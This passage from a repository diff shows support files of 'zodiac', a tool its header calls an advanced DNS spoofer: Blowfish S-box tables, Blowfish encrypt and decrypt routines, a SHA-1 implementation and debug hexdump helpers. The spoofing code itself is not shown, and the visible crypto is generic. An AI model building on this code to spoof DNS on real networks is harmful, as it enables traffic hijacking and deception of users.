0xc332ddef, 0xbe6c5aa5, 0x65582185, 0x68ab9802,
0xeecea50f, 0xdb2f953b, 0x2aef7dad, 0x5b6e2f84,
0x1521b628, 0x29076170, 0xecdd4775, 0x619f1510,
0x13cca830, 0xeb61bd96, 0x0334fe1e, 0xaa0363cf,
0xb5735c90, 0x4c70a239, 0xd59e9e0b, 0xcbaade14,
0xeecc86bc, 0x60622ca7, 0x9cab5cab, 0xb2f3846e,
0x648b1eaf, 0x19bdf0ca, 0xa02369b9, 0x655abb50,
0x40685a32, 0x3c2ab4b3, 0x319ee9d5, 0xc021b8f7,
0x9b540b19, 0x875fa099, 0x95f7997e, 0x623d7da8,
0xf837889a, 0x97e32d77, 0x11ed935f, 0x16681281,
0x0e358829, 0xc7e61fd6, 0x96dedfa1, 0x7858ba99,
0x57f584a5, 0x1b227263, 0x9b83c3ff, 0x1ac24696,
0xcdb30aeb, 0x532e3054, 0x8fd948e4, 0x6dbc3128,
0x58ebf2ef, 0x34c6ffea, 0xfe28ed61, 0xee7c3c73,
0x5d4a14d9, 0xe864b7e3, 0x42105d14, 0x203e13e0,
0x45eee2b6, 0xa3aaabea, 0xdb6c4f15, 0xfacb4fd0,
0xc742f442, 0xef6abbb5, 0x654f3b1d, 0x41cd2105,
0xd81e799e, 0x86854dc7, 0xe44b476a, 0x3d816250,
0xcf62a1f2, 0x5b8d2646, 0xfc8883a0, 0xc1c7b6a3,
0x7f1524c3, 0x69cb7492, 0x47848a0b, 0x5692b285,
0x095bbf00, 0xad19489d, 0x1462b174, 0x23820e00,
0x58428d2a, 0x0c55f5ea, 0x1dadf43e, 0x233f7061,
0x3372f092, 0x8d937e41, 0xd65fecf1, 0x6c223bdb,
0x7cde3759, 0xcbee7460, 0x4085f2a7, 0xce77326e,
0xa6078084, 0x19f8509e, 0xe8efd855, 0x61d99735,
0xa969a7aa, 0xc50c06c2, 0x5a04abfc, 0x800bcadc,
0x9e447a2e, 0xc3453484, 0xfdd56705, 0x0e1e9ec9,
0xdb73dbd3, 0x105588cd, 0x675fda79, 0xe3674340,
0xc5c43465, 0x713e38d8, 0x3d28f89e, 0xf16dff20,
0x153e21e7, 0x8fb03d4a, 0xe6e39f2b, 0xdb83adf7
},
{
0xe93d5a68, 0x948140f7, 0xf64c261c, 0x94692934,
0x411520f7, 0x7602d4f7, 0xbcf46b2e, 0xd4a20068,
0xd4082471, 0x3320f46a, 0x43b7d4b7, 0x500061af,
0x1e39f62e, 0x97244546, 0x14214f74, 0xbf8b8840,
0x4d95fc1d, 0x96b591af, 0x70f4ddd3, 0x66a02f45,
0xbfbc09ec, 0x03bd9785, 0x7fac6dd0, 0x31cb8504,
0x96eb27b3, 0x55fd3941, 0xda2547e6, 0xabca0a9a,
0x28507825, 0x530429f4, 0x0a2c86da, 0xe9b66dfb,
0x68dc1462, 0xd7486900, 0x680ec0a4, 0x27a18dee,
0x4f3ffea2, 0xe887ad8c, 0xb58ce006, 0x7af4d6b6,
0xaace1e7c, 0xd3375fec, 0xce78a399, 0x406b2a42,
0x20fe9e35, 0xd9f385b9, 0xee39d7ab, 0x3b124e8b,
0x1dc9faf7, 0x4b6d1856, 0x26a36631, 0xeae397b2,
0x3a6efa74, 0xdd5b4332, 0x6841e7f7, 0xca7820fb,
0xfb0af54e, 0xd8feb397, 0x454056ac, 0xba489527,
0x55533a3a, 0x20838d87, 0xfe6ba9b7, 0xd096954b,
0x55a867bc, 0xa1159a58, 0xcca92963, 0x99e1db33,
0xa62a4a56, 0x3f3125f9, 0x5ef47e1c, 0x9029317c,
0xfdf8e802, 0x04272f70, 0x80bb155c, 0x05282ce3,
0x95c11548, 0xe4c66d22, 0x48c1133f, 0xc70f86dc,
0x07f9c9ee, 0x41041f0f, 0x404779a4, 0x5d886e17,
0x325f51eb, 0xd59bc0d1, 0xf2bcc18f, 0x41113564,
0x257b7834, 0x602a9c60, 0xdff8e8a3, 0x1f636c1b,
0x0e12b4c2, 0x02e1329e, 0xaf664fd1, 0xcad18115,
0x6b2395e0, 0x333e92e1, 0x3b240b62, 0xeebeb922,
0x85b2a20e, 0xe6ba0d99, 0xde720c8c, 0x2da2f728,
0xd0127845, 0x95b794fd, 0x647d0862, 0xe7ccf5f0,
0x5449a36f, 0x877d48fa, 0xc39dfd27, 0xf33e8d1e,
0x0a476341, 0x992eff74, 0x3a6f6eab, 0xf4f8fd37,
0xa812dc60, 0xa1ebddf8, 0x991be14c, 0xdb6e6b0d,
0xc67b5510, 0x6d672c37, 0x2765d43b, 0xdcd0e804,
0xf1290dc7, 0xcc00ffa3, 0xb5390f92, 0x690fed0b,
0x667b9ffb, 0xcedb7d9c, 0xa091cf0b, 0xd9155ea3,
0xbb132f88, 0x515bad24, 0x7b9479bf, 0x763bd6eb,
0x37392eb3, 0xcc115979, 0x8026e297, 0xf42e312d,
0x6842ada7, 0xc66a2b3b, 0x12754ccc, 0x782ef11c,
0x6a124237, 0xb79251e7, 0x06a1bbe6, 0x4bfb6350,
0x1a6b1018, 0x11caedfa, 0x3d25bdd8, 0xe2e1c3c9,
0x44421659, 0x0a121386, 0xd90cec6e, 0xd5abea2a,
0x64af674e, 0xda86a85f, 0xbebfe988, 0x64e4c3fe,
0x9dbc8057, 0xf0f7c086, 0x60787bf8, 0x6003604d,
0xd1fd8346, 0xf6381fb0, 0x7745ae04, 0xd736fccc,
0x83426b33, 0xf01eab71, 0xb0804187, 0x3c005e5f,
0x77a057be, 0xbde8ae24, 0x55464299, 0xbf582e61,
0x4e58f48f, 0xf2ddfda2, 0xf474ef38, 0x8789bdc2,
0x5366f9c3, 0xc8b38e74, 0xb475f255, 0x46fcd9b9,
0x7aeb2661, 0x8b1ddf84, 0x846a0e79, 0x915f95e2,
0x466e598e, 0x20b45770, 0x8cd55591, 0xc902de4c,
0xb90bace1, 0xbb8205d0, 0x11a86248, 0x7574a99e,
0xb77f19b6, 0xe0a9dc09, 0x662d09a1, 0xc4324633,
0xe85a1f02, 0x09f0be8c, 0x4a99a025, 0x1d6efe10,
0x1ab93d1d, 0x0ba5a4df, 0xa186f20f, 0x2868f169,
0xdcb7da83, 0x573906fe, 0xa1e2ce9b, 0x4fcd7f52,
0x50115e01, 0xa70683fa, 0xa002b5c4, 0x0de6d027,
0x9af88c27, 0x773f8641, 0xc3604c06, 0x61a806b5,
0xf0177a28, 0xc0f586e0, 0x006058aa, 0x30dc7d62,
0x11e69ed7, 0x2338ea63, 0x53c2dd94, 0xc2c21634,
0xbbcbee56, 0x90bcb6de, 0xebfc7da1, 0xce591d76,
0x6f05e409, 0x4b7c0188, 0x39720a3d, 0x7c927c24,
0x86e3725f, 0x724d9db9, 0x1ac15bb4, 0xd39eb8fc,
0xed545578, 0x08fca5b5, 0xd83d7cd3, 0x4dad0fc4,
0x1e50ef5e, 0xb161e6f8, 0xa28514d9, 0x6c51133c,
0x6fd5c7e7, 0x56e14ec4, 0x362abfce, 0xddc6c837,
0xd79a3234, 0x92638212, 0x670efa8e, 0x406000e0
},
{
0x3a39ce37, 0xd3faf5cf, 0xabc27737, 0x5ac52d1b,
0x5cb0679e, 0x4fa33742, 0xd3822740, 0x99bc9bbe,
0xd5118e9d, 0xbf0f7315, 0xd62d1c7e, 0xc700c47b,
0xb78c1b6b, 0x21a19045, 0xb26eb1be, 0x6a366eb4,
0x5748ab2f, 0xbc946e79, 0xc6a376d2, 0x6549c2c8,
0x530ff8ee, 0x468dde7d, 0xd5730a1d, 0x4cd04dc6,
0x2939bbdb, 0xa9ba4650, 0xac9526e8, 0xbe5ee304,
0xa1fad5f0, 0x6a2d519a, 0x63ef8ce2, 0x9a86ee22,
0xc089c2b8, 0x43242ef6, 0xa51e03aa, 0x9cf2d0a4,
0x83c061ba, 0x9be96a4d, 0x8fe51550, 0xba645bd6,
0x2826a2f9, 0xa73a3ae1, 0x4ba99586, 0xef5562e9,
0xc72fefd3, 0xf752f7da, 0x3f046f69, 0x77fa0a59,
0x80e4a915, 0x87b08601, 0x9b09e6ad, 0x3b3ee593,
0xe990fd5a, 0x9e34d797, 0x2cf0b7d9, 0x022b8b51,
0x96d5ac3a, 0x017da67d, 0xd1cf3ed6, 0x7c7d2d28,
0x1f9f25cf, 0xadf2b89b, 0x5ad6b472, 0x5a88f54c,
0xe029ac71, 0xe019a5e6, 0x47b0acfd, 0xed93fa9b,
0xe8d3c48d, 0x283b57cc, 0xf8d56629, 0x79132e28,
0x785f0191, 0xed756055, 0xf7960e44, 0xe3d35e8c,
0x15056dd4, 0x88f46dba, 0x03a16125, 0x0564f0bd,
0xc3eb9e15, 0x3c9057a2, 0x97271aec, 0xa93a072a,
0x1b3f6d9b, 0x1e6321f5, 0xf59c66fb, 0x26dcf319,
0x7533d928, 0xb155fdf5, 0x03563482, 0x8aba3cbb,
0x28517711, 0xc20ad9f8, 0xabcc5167, 0xccad925f,
0x4de81751, 0x3830dc8e, 0x379d5862, 0x9320f991,
0xea7a90c2, 0xfb3e7bce, 0x5121ce64, 0x774fbe32,
0xa8b6e37e, 0xc3293d46, 0x48de5369, 0x6413e680,
0xa2ae0810, 0xdd6db224, 0x69852dfd, 0x09072166,
0xb39a460a, 0x6445c0dd, 0x586cdecf, 0x1c20c8ae,
0x5bbef7dd, 0x1b588d40, 0xccd2017f, 0x6bb4e3bb,
0xdda26a7e, 0x3a59ff45, 0x3e350a44, 0xbcb4cdd5,
0x72eacea8, 0xfa6484bb, 0x8d6612ae, 0xbf3c6f47,
0xd29be463, 0x542f5d9e, 0xaec2771b, 0xf64e6370,
0x740e0d8d, 0xe75b1357, 0xf8721671, 0xaf537d5d,
0x4040cb08, 0x4eb4e2cc, 0x34d2466a, 0x0115af84,
0xe1b00428, 0x95983a1d, 0x06b89fb4, 0xce6ea048,
0x6f3f3b82, 0x3520ab82, 0x011a1d4b, 0x277227f8,
0x611560b1, 0xe7933fdc, 0xbb3a792b, 0x344525bd,
0xa08839e1, 0x51ce794b, 0x2f32c9b7, 0xa01fbac9,
0xe01cc87e, 0xbcc7d1f6, 0xcf0111c3, 0xa1e8aac7,
0x1a908749, 0xd44fbd9a, 0xd0dadecb, 0xd50ada38,
0x0339c32a, 0xc6913667, 0x8df9317c, 0xe0b12b4f,
0xf79e59b7, 0x43f5bb3a, 0xf2d519ff, 0x27d9459c,
0xbf97222c, 0x15e6fc2a, 0x0f91fc71, 0x9b941525,
0xfae59361, 0xceb69ceb, 0xc2a86459, 0x12baa8d1,
0xb6c1075e, 0xe3056a0c, 0x10d25065, 0xcb03a442,
0xe0ec6e0e, 0x1698db3b, 0x4c98a0be, 0x3278e964,
0x9f1f9532, 0xe0d392df, 0xd3a0342b, 0x8971f21e,
0x1b0a7441, 0x4ba3348c, 0xc5be7120, 0xc37632d8,
0xdf359f8d, 0x9b992f2e, 0xe60b6f47, 0x0fe3f11d,
0xe54cda54, 0x1edad891, 0xce6279cf, 0xcd3e7e6f,
0x1618b166, 0xfd2c1d05, 0x848fd2c5, 0xf6fb2299,
0xf523f357, 0xa6327623, 0x93a83531, 0x56cccd02,
0xacf08162, 0x5a75ebb5, 0x6e163697, 0x88d273cc,
0xde966292, 0x81b949d0, 0x4c50901b, 0x71c65614,
0xe6c6c7bd, 0x327a140a, 0x45e1d006, 0xc3f27b9a,
0xc9aa53fd, 0x62a80f00, 0xbb25bfe2, 0x35bdd2f6,
0x71126905, 0xb2040222, 0xb6cbcf7c, 0xcd769c2b,
0x53113ec0, 0x1640e3d3, 0x38abbd60, 0x2547adf0,
0xba38209c, 0xf746ce76, 0x77afa1c5, 0x20756060,
0x85cbfe4e, 0x8ae88dd8, 0x7aaaf9b0, 0x4cf9aa7e,
0x1948c25c, 0x02fb8a8c, 0x01c36ae4, 0xd6ebe1f9,
0x90d4f869, 0xa65cdea0, 0x3f09252d, 0xc208e69f,
0xb74e6132, 0xce77e25b, 0x578fdfe3, 0x3ac372e6
}
};
#endif

View file

@ -0,0 +1,304 @@
/* zodiac - advanced dns spoofer
*
* blowfish encryption routines, reference implementation
*
* by: (unknown, possible bruce schneier)
* additions by random
* slightly modified by scut
*/
#include <string.h>
#include "cipher-sha1.h"
#include "cipher-blowfish.h"
#include "cipher-blowfish-tab.h"
#include "common.h"
#define BOXES 3
/* #define S(x,i) (bf_S[i][x.w.byte##i]) */
#define S0(x) (bf_S[0][x.w.byte0])
#define S1(x) (bf_S[1][x.w.byte1])
#define S2(x) (bf_S[2][x.w.byte2])
#define S3(x) (bf_S[3][x.w.byte3])
#define bf_F(x) (((S0(x) + S1(x)) ^ S2(x)) + S3(x))
#define ROUND(a,b,n) (a.word ^= bf_F(b) ^ bf_P[n])
struct box_t {
UWORD_32bits *P;
UWORD_32bits **S;
char key[81];
char keybytes;
} box[BOXES];
static void blowfish_encipher (UWORD_32bits *xl, UWORD_32bits *xr);
static void blowfish_decipher (UWORD_32bits *xl, UWORD_32bits *xr);
static void blowfish_init (UBYTE_08bits *key, short keybytes, int bxtouse);
UWORD_32bits *bf_P;
UWORD_32bits **bf_S;
static void
blowfish_encipher (UWORD_32bits *xl, UWORD_32bits *xr)
{
union aword Xl;
union aword Xr;
Xl.word = *xl;
Xr.word = *xr;
Xl.word ^= bf_P[0];
ROUND (Xr, Xl, 1);
ROUND (Xl, Xr, 2);
ROUND (Xr, Xl, 3);
ROUND (Xl, Xr, 4);
ROUND (Xr, Xl, 5);
ROUND (Xl, Xr, 6);
ROUND (Xr, Xl, 7);
ROUND (Xl, Xr, 8);
ROUND (Xr, Xl, 9);
ROUND (Xl, Xr, 10);
ROUND (Xr, Xl, 11);
ROUND (Xl, Xr, 12);
ROUND (Xr, Xl, 13);
ROUND (Xl, Xr, 14);
ROUND (Xr, Xl, 15);
ROUND (Xl, Xr, 16);
Xr.word ^= bf_P[17];
*xr = Xl.word;
*xl = Xr.word;
}
static void
blowfish_decipher (UWORD_32bits *xl, UWORD_32bits *xr)
{
union aword Xl;
union aword Xr;
Xl.word = *xl;
Xr.word = *xr;
Xl.word ^= bf_P[17];
ROUND (Xr, Xl, 16);
ROUND (Xl, Xr, 15);
ROUND (Xr, Xl, 14);
ROUND (Xl, Xr, 13);
ROUND (Xr, Xl, 12);
ROUND (Xl, Xr, 11);
ROUND (Xr, Xl, 10);
ROUND (Xl, Xr, 9);
ROUND (Xr, Xl, 8);
ROUND (Xl, Xr, 7);
ROUND (Xr, Xl, 6);
ROUND (Xl, Xr, 5);
ROUND (Xr, Xl, 4);
ROUND (Xl, Xr, 3);
ROUND (Xr, Xl, 2);
ROUND (Xl, Xr, 1);
Xr.word ^= bf_P[0];
*xl = Xr.word;
*xr = Xl.word;
}
static void
blowfish_init (UBYTE_08bits *key, short keybytes, int bxtouse)
{
int i, j, bx;
UWORD_32bits data;
UWORD_32bits datal;
UWORD_32bits datar;
union aword temp;
for (i = 0 ; i < BOXES ; i++)
if (box[i].P != NULL) {
if ((box[i].keybytes == keybytes) &&
(strncmp ((char *) (box[i].key), (char *) key, keybytes) == 0))
{
bf_P = box[i].P;
bf_S = box[i].S;
return;
}
}
bx = (-1);
for (i = 0 ; i < BOXES ; i++) {
if (box[i].P == NULL) {
bx = i;
i = BOXES + 1;
}
}
if (bx < 0) {
bx = bxtouse;
free (box[bx].P);
for (i = 0 ; i < 4 ; i++)
free (box[bx].S[i]);
free (box[bx].S);
}
box[bx].P = (UWORD_32bits *) malloc ((bf_N + 2) * sizeof (UWORD_32bits));
box[bx].S = (UWORD_32bits **) malloc (4 * sizeof (UWORD_32bits *));
for (i = 0 ; i < 4 ; i++)
box[bx].S[i] = (UWORD_32bits *) malloc (256 * sizeof (UWORD_32bits));
bf_P = box[bx].P;
bf_S = box[bx].S;
box[bx].keybytes = keybytes;
strncpy (box[bx].key, key, keybytes);
for (i = 0 ; i < bf_N + 2 ; i++)
bf_P[i] = initbf_P[i];
for (i = 0 ; i < 4 ; i++)
for (j = 0 ; j < 256 ; j++)
bf_S[i][j] = initbf_S[i][j];
for (i = 0, j = 0; i < bf_N + 2; ++i) {
temp.word = 0;
temp.w.byte0 = key[j];
temp.w.byte1 = key[(j + 1) % keybytes];
temp.w.byte2 = key[(j + 2) % keybytes];
temp.w.byte3 = key[(j + 3) % keybytes];
data = temp.word;
bf_P[i] = bf_P[i] ^ data;
j = (j + 4) % keybytes;
}
datal = 0x00000000;
datar = 0x00000000;
for (i = 0 ; i < bf_N + 2 ; i += 2) {
blowfish_encipher (&datal, &datar);
bf_P[i] = datal;
bf_P[i + 1] = datar;
}
for (i = 0 ; i < 4 ; ++i) {
for (j = 0 ; j < 256 ; j += 2) {
blowfish_encipher(&datal, &datar);
bf_S[i][j] = datal;
bf_S[i][j + 1] = datar;
}
}
}
unsigned char *
bf_encipher (char *keyphrase, unsigned char *data, size_t data_len, size_t *result_len)
{
UWORD_32bits left, right; /* blowfish halfs */
unsigned long int dp_i; /* data pointer relative */
unsigned char key[20]; /* hash used as bf key */
unsigned char *data_enc,
*dp;
unsigned char *sp,
*source;
long int do_count;
/* build a strong hash out of a weak keyphrase
*/
SHA1Hash (keyphrase, key);
blowfish_init (key, sizeof (key), 0);
sp = source = xcalloc (1, data_len + (8 - (data_len % 8)) + 1);
memcpy (source, data, data_len);
dp = data_enc = xcalloc (1, data_len + 9);
do_count = data_len / 8;
if ((data_len % 8) != 0)
do_count += 1;
*result_len = do_count * 8;
for (dp_i = 0 ; dp_i < do_count ; ++dp_i) {
left = ((*sp++) << 24);
left |= ((*sp++) << 16);
left |= ((*sp++) << 8);
left |= (*sp++);
right = ((*sp++) << 24);
right |= ((*sp++) << 16);
right |= ((*sp++) << 8);
right |= (*sp++);
blowfish_encipher (&left, &right);
*dp++ = (right & 0xff000000) >> 24;
*dp++ = (right & 0x00ff0000) >> 16;
*dp++ = (right & 0x0000ff00) >> 8;
*dp++ = (right & 0x000000ff);
*dp++ = (left & 0xff000000) >> 24;
*dp++ = (left & 0x00ff0000) >> 16;
*dp++ = (left & 0x0000ff00) >> 8;
*dp++ = (left & 0x000000ff);
}
free (source);
return (data_enc);
}
unsigned char *
bf_decipher (char *keyphrase, unsigned char *data, size_t data_len)
{
UWORD_32bits left, right; /* blowfish halfs */
unsigned long int dp_i; /* data pointer relative */
unsigned char key[20]; /* hash used as bf key */
unsigned char *data_dec,
*dp;
unsigned char *sp;
long int do_count;
/* sanity checking
*/
if ((data_len % 8) != 0)
return (NULL);
/* build a strong hash out of a weak keyphrase
*/
SHA1Hash (keyphrase, key);
blowfish_init (key, sizeof (key), 0);
sp = data;
dp = data_dec = xcalloc (1, data_len);
do_count = data_len / 8;
for (dp_i = 0 ; dp_i < do_count ; ++dp_i) {
right = ((*sp++) << 24);
right |= ((*sp++) << 16);
right |= ((*sp++) << 8);
right |= (*sp++);
left = ((*sp++) << 24);
left |= ((*sp++) << 16);
left |= ((*sp++) << 8);
left |= (*sp++);
blowfish_decipher (&left, &right);
*dp++ = (left & 0xff000000) >> 24;
*dp++ = (left & 0x00ff0000) >> 16;
*dp++ = (left & 0x0000ff00) >> 8;
*dp++ = (left & 0x000000ff);
*dp++ = (right & 0xff000000) >> 24;
*dp++ = (right & 0x00ff0000) >> 16;
*dp++ = (right & 0x0000ff00) >> 8;
*dp++ = (right & 0x000000ff);
}
return (data_dec);
}

View file

@ -0,0 +1,93 @@
#ifndef _H_BLOWFISH
#define _H_BLOWFISH
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#define MAXKEYBYTES 56 /* 448 bits */
#define bf_N 16
#define noErr 0
#define DATAERROR -1
#define KEYBYTES 8
#define UBYTE_08bits unsigned char
#define UWORD_16bits unsigned short
#define nmalloc(x) n_malloc((x),__FILE__,__LINE__)
#define SIZEOF_INT 4
#define SIZEOF_LONG 4
#if SIZEOF_INT==4
# define UWORD_32bits unsigned int
#else
# if SIZEOF_LONG==4
# define UWORD_32bits unsigned long
# endif
#endif
/* choose a byte order for your hardware */
#ifdef WORDS_BIGENDIAN
/* ABCD - big endian - motorola */
union aword {
UWORD_32bits word;
UBYTE_08bits byte[4];
struct {
unsigned int byte0:8;
unsigned int byte1:8;
unsigned int byte2:8;
unsigned int byte3:8;
} w;
};
#endif /* WORDS_BIGENDIAN */
#ifndef WORDS_BIGENDIAN
/* DCBA - little endian - intel */
union aword {
UWORD_32bits word;
UBYTE_08bits byte[4];
struct {
unsigned int byte3:8;
unsigned int byte2:8;
unsigned int byte1:8;
unsigned int byte0:8;
} w;
};
#endif /* !WORDS_BIGENDIAN */
/* bf_encipher
*
* safely encrypt a sequenced byte block pointed to by `data' with length
* `data_len'. as encryption key a hash build out of an asciiz string
* `keyphrase' is used. the length of the resulting data block is
* stored in the variable pointed to by `result_len'.
*
* return a pointer to a new allocated encrypted data block
*/
unsigned char *bf_encipher (char *keyphrase, unsigned char *data,
size_t data_len, size_t *result_len);
/* bf_decipher
*
* decrypt a blowfish encrypted data block pointed to by `data'. as key use a
* hash value build out of the asciiz string `keyphrase'. the data block is
* `data_len' bytes in length and must be padded to an 8 byte boundary.
*
* return NULL on failure (boundary error)
* return a pointer to a new allocated decrypted data block
*/
unsigned char *bf_decipher (char *keyphrase, unsigned char *data,
size_t data_len);
#endif

View file

@ -0,0 +1,202 @@
/* sha-1 implementation
*
* by steve reid <steve@edmweb.com>
* modified by scut
*/
/* #define LITTLE_ENDIAN * This should be #define'd if true. */
#include <stdio.h>
#include <string.h>
#include "cipher-sha1.h"
typedef struct {
unsigned long state[5];
unsigned long count[2];
unsigned char buffer[64];
} SHA1_CTX;
static void SHA1Transform (unsigned long state[5],
unsigned char buffer[64]);
static void SHA1Init (SHA1_CTX* context);
static void SHA1Update (SHA1_CTX* context, unsigned char* data,
unsigned int len);
static void SHA1Final (unsigned char digest[20], SHA1_CTX* context);
#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
/* blk0() and blk() perform the initial expand. */
/* I got the idea of expanding during the round function from SSLeay */
#ifdef LITTLE_ENDIAN
#define blk0(i) (block->l[i] = (rol(block->l[i],24)&0xFF00FF00) \
|(rol(block->l[i],8)&0x00FF00FF))
#else
#define blk0(i) block->l[i]
#endif
#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \
^block->l[(i+2)&15]^block->l[i&15],1))
/* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */
#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(i)+0x5A827999+rol(v,5),w=rol(w,30);
#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5),w=rol(w,30);
#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5),w=rol(w,30);
#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5),w=rol(w,30);
#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5),w=rol(w,30);
/* Hash a single 512-bit block. This is the core of the algorithm. */
void
SHA1Transform (unsigned long state[5], unsigned char buffer[64])
{
unsigned long a, b, c, d, e;
typedef union {
unsigned char c[64];
unsigned long l[16];
} CHAR64LONG16;
CHAR64LONG16 *block;
static unsigned char workspace[64];
block = (CHAR64LONG16 *) workspace;
memcpy (block, buffer, 64);
/* Copy context->state[] to working vars */
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];
/* 4 rounds of 20 operations each. Loop unrolled. */
R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
/* Add the working vars back into context.state[] */
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
state[4] += e;
/* Wipe variables */
a = b = c = d = e = 0;
return;
}
/* SHA1Init - Initialize new context */
void
SHA1Init (SHA1_CTX *context)
{
/* SHA1 initialization constants */
context->state[0] = 0x67452301;
context->state[1] = 0xEFCDAB89;
context->state[2] = 0x98BADCFE;
context->state[3] = 0x10325476;
context->state[4] = 0xC3D2E1F0;
context->count[0] = context->count[1] = 0;
return;
}
/* Run your data through this. */
void
SHA1Update (SHA1_CTX* context, unsigned char* data, unsigned int len)
{
unsigned int i, j;
j = (context->count[0] >> 3) & 63;
if ((context->count[0] += len << 3) < (len << 3))
context->count[1]++;
context->count[1] += (len >> 29);
if ((j + len) > 63) {
memcpy (&context->buffer[j], data, (i = 64-j));
SHA1Transform (context->state, context->buffer);
for ( ; i + 63 < len ; i += 64) {
SHA1Transform (context->state, &data[i]);
}
j = 0;
} else
i = 0;
memcpy (&context->buffer[j], &data[i], len - i);
return;
}
/* Add padding and return the message digest. */
void
SHA1Final (unsigned char digest[20], SHA1_CTX* context)
{
unsigned long i, j;
unsigned char finalcount[8];
for (i = 0 ; i < 8 ; i++) {
finalcount[i] = (unsigned char)((context->count[(i >= 4 ? 0 : 1)] >> ((3-(i & 3)) * 8) ) & 255);
}
SHA1Update (context, (unsigned char *)"\200", 1);
while ((context->count[0] & 504) != 448) {
SHA1Update (context, (unsigned char *)"\0", 1);
}
/* Should cause a SHA1Transform() */
SHA1Update (context, finalcount, 8);
for (i = 0 ; i < 20 ; i++) {
digest[i] = (unsigned char) ((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255);
}
/* Wipe variables */
i = j = 0;
memset (context->buffer, 0, 64);
memset (context->state, 0, 20);
memset (context->count, 0, 8);
memset (&finalcount, 0, 8);
SHA1Transform (context->state, context->buffer);
return;
}
void
SHA1Hash (char *password, unsigned char *hash)
{
SHA1_CTX context;
SHA1Init (&context);
SHA1Update (&context, password, strlen (password));
SHA1Final (hash, &context);
return;
}

View file

@ -0,0 +1,24 @@
/* sha-1 implementation
*
* by steve reid <steve@edmweb.com>
* modified by scut
*
* include file
*/
#ifndef _FNX_CIPHER_SHA1_H
#define _FNX_CIPHER_SHA1_H
/* SHA1Hash
*
* hash an ASCIIZ password into a 20 byte long hash byte buffer
*
* return in any case
*/
void SHA1Hash (char *password, unsigned char *hash);
#endif

318
dns/zodiac/src/common.c Normal file
View file

@ -0,0 +1,318 @@
#include <sys/time.h>
#include <netinet/in.h>
#include <time.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "common.h"
#ifdef DEBUG
void
debugp (char *filename, const char *str, ...)
{
FILE *fp; /* temporary file pointer */
va_list vl;
fp = fopen (filename, "a");
if (fp == NULL)
return;
va_start (vl, str);
vfprintf (fp, str, vl);
va_end (vl);
fclose (fp);
return;
}
void
hexdump (char *filename, unsigned char *data, unsigned int amount)
{
FILE *fp; /* temporary file pointer */
unsigned int dp, p; /* data pointer */
const char trans[] =
"................................ !\"#$%&'()*+,-./0123456789"
":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
"nopqrstuvwxyz{|}~...................................."
"....................................................."
"........................................";
fp = fopen (filename, "a");
if (fp == NULL)
return;
fprintf (fp, "\n-packet-\n");
for (dp = 1; dp <= amount; dp++) {
fprintf (fp, "%02x ", data[dp-1]);
if ((dp % 8) == 0)
fprintf (fp, " ");
if ((dp % 16) == 0) {
fprintf (fp, "| ");
p = dp;
for (dp -= 16; dp < p; dp++)
fprintf (fp, "%c", trans[data[dp]]);
fflush (fp);
fprintf (fp, "\n");
}
fflush (fp);
}
if ((amount % 16) != 0) {
p = dp = 16 - (amount % 16);
for (dp = p; dp > 0; dp--) {
fprintf (fp, " ");
if (((dp % 8) == 0) && (p != 8))
